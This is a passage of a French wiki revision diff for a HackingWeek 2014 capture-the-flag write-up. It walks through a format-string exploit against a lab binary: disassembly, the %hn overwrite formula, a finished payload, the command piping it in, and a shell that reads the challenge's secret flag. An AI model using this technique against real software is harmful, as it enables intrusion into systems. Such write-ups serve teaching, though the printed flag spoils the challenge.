Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
hackingweek_2014:exploit:exploit4 [2014/03/03 10:48] miaouPlop |
hackingweek_2014:exploit:exploit4 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 77: | Ligne 77: | ||
-- | -- | ||
- | 80484dd: 55 push ebp <-- début de foo | + | 80484dd: 55 push ebp <-- début de bar |
80484de: 89 e5 mov ebp,esp | 80484de: 89 e5 mov ebp,esp | ||
80484e0: 83 ec 18 sub esp,0x18 | 80484e0: 83 ec 18 sub esp,0x18 | ||
Ligne 83: | Ligne 83: | ||
80484ea: e8 b1 fe ff ff call 80483a0 <system@plt> | 80484ea: e8 b1 fe ff ff call 80483a0 <system@plt> | ||
80484ef: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 | 80484ef: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 | ||
- | 80484f6: e8 85 fe ff ff call 8048380 <_exit@plt> <-- fin de foo | + | 80484f6: e8 85 fe ff ff call 8048380 <_exit@plt> <-- fin de bar |
80484fb: 55 push ebp | 80484fb: 55 push ebp | ||
80484fc: 89 e5 mov ebp,esp | 80484fc: 89 e5 mov ebp,esp | ||
Ligne 90: | Ligne 90: | ||
L'adresse à donner est donc 0x080484dd. | L'adresse à donner est donc 0x080484dd. | ||
- | Nous allons maintenant utiliser la formule donnée dans Gray Hat Python pour construire notre payload (cf. tableau page 232). | + | Nous allons maintenant utiliser la formule donnée dans Gray Hat Hacking 3rd Edition pour construire notre payload (cf. tableau page 232). |
On découpe donc notre adresse en deux parties : 0804 qui constituera la partie "high-order bytes" (HOB) et 84dd la partie "low-order bytes" (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr est l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse). | On découpe donc notre adresse en deux parties : 0804 qui constituera la partie "high-order bytes" (HOB) et 84dd la partie "low-order bytes" (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr est l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse). | ||
Ligne 101: | Ligne 101: | ||
L'offset sera donc de 4. On obtient donc la payload suivante : "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn". Nous n'avons plus qu'à lancer notre exploit : | L'offset sera donc de 4. On obtient donc la payload suivante : "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn". Nous n'avons plus qu'à lancer notre exploit : | ||
<code> | <code> | ||
- | $ python -c 'print ":\x97\x04\x088\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable | + | $ python -c 'print "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable |
sh-4.2$ cat /home/exploit-4/.secret | sh-4.2$ cat /home/exploit-4/.secret | ||
paevoo5Ool | paevoo5Ool |